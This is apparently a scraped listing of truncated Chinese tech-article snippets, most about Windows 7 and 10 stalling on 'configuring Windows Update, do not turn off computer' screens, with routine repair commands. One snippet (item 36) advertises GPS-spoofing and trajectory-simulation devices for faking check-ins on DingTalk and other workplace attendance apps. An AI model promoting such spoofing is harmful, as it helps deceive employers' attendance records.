    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  31. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  32. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  33. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  34. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  35. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  36. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  37. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  38. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  39. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  40. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  41. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  42. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  43. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  44. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57